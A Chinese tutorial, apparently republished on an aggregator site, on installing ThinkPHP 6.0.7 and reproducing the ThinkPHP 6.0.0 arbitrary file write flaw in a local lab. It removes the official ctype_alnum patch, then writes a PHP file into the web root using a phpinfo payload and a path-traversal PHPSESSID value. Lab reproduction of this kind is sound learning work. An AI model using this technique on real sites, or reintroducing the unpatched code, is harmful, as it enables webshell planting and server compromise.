千家信息网

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

发表于:2024-11-12 作者:千家信息网编辑
千家信息网最后更新 2024年11月12日,这篇文章给大家介绍如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。tinkphp6.0.7的
千家信息网最后更新 2024年11月12日如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

这篇文章给大家介绍如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

tinkphp6.0.7的安装

一、首先准备环境phpstudy7.1.13

二、再准备Composer安装程序,安装到phpstudy7.1.13路径下

这个路径随意

这个路径就可以

进入该命令行之后执行命令进行安装

composer create-project topthink/think tp

下载之后将tp文件夹,移动到自己习惯访问的文件夹下面

配置信息

修改配置文件的

/tp/config ##路径

上一个修改错了

app_nameespace true改成flase

验证传参信息

tp6.0.0任意文件写入漏洞复现:

一、首先下载源码

composer create-project topthink/think tp 6.0.0

然后移动到要放到网站目录下面

之后访问:http://127.0.0.1:8086/cms2021/tp/public/

发现安装成功:

6.0.0 版本号

php think run 运行开发环境

二、部署漏洞环境

漏洞文件位置:

\tp\vendor\topthink\framework\src\think\session\Store.php

注意要点:

1.删除官方打的补丁-->ctype_alnum函数

在121行把补丁给去掉

去掉后

32个字符个数,

UA头或者是cookie信息

2.步骤二:添加一个可以

\tp\app\controller\index.php添加

use think\facade\Session; //session$test=request()->only(['a']); //index方法中写入Session::set("test",$test['a']); //index方法中写入

注意添加位置

3.步骤三:打开接受seeion会话

tp\app\middleware.php 打开session信息

\think\middleware\SessionInit::class

三、漏洞复现

http://127.0.0.1/tp/public/index.php?a=%3C?php%20phpinfo();?%3E

如果执行这一个的话,会发现没有任何回显,我们可以去他的网站根目录去查看

\tp\runtime\session

发现是以序列化的形式进来的

四、抓包修改session会话写入网站根目录

PHPSESSID=../../../../123456789chongxqweq.php 要写入的文件

注意:如果PHPSESSID要满足32位字符,如果上传不成功的话,那么就删删减减,直到上传成功为止

验证

关于如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

0